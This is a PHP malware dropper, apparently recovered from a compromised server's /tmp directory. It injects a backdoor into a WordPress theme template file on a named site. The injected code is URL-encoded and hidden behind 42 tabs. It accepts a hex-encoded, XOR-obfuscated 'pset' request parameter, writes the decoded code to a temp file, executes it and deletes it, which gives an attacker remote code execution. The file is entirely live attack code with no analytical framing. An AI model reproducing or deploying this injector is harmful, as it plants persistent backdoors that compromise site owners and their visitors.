File: //tmp/.uconvert
<?php $path = '/var/www/bharti-foundation.stgviitor.com/wp-content/themes/twentytwentyfive/patterns/template-archive-text-blog.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28%21is_null%28%24_REQUEST%5B%22pset%22%5D%20%3F%3F%20null%29%29%7B%20%24property_set%20%3D%20array_filter%28%5Bgetenv%28%22TEMP%22%29%2C%20%22/tmp%22%2C%20session_save_path%28%29%2C%20getenv%28%22TMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/dev/shm%22%2C%20%22/var/tmp%22%2C%20getcwd%28%29%5D%29%3B%20%24record%20%3D%20hex2bin%28%24_REQUEST%5B%22pset%22%5D%29%3B%20%24itm%20%3D%27%27%20%3B%24s%20%3D%200%3B%20while%28%24s%20%3C%20strlen%28%24record%29%29%7B%24itm%20.%3D%20chr%28ord%28%24record%5B%24s%5D%29%20%5E%2050%29%3B%24s%2B%2B%3B%7D%20foreach%20%28%24property_set%20as%20%24descriptor%29%20%7B%20if%20%28%21%28%20%21is_dir%28%24descriptor%29%20%7C%7C%20%21is_writable%28%24descriptor%29%20%29%29%20%7B%20%24entry%20%3D%20vsprintf%28%22%25s/%25s%22%2C%20%5B%24descriptor%2C%20%22.ent%22%5D%29%3B%20if%20%28file_put_contents%28%24entry%2C%20%24itm%29%29%20%7B%20require%20%24entry%3B%20unlink%28%24entry%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');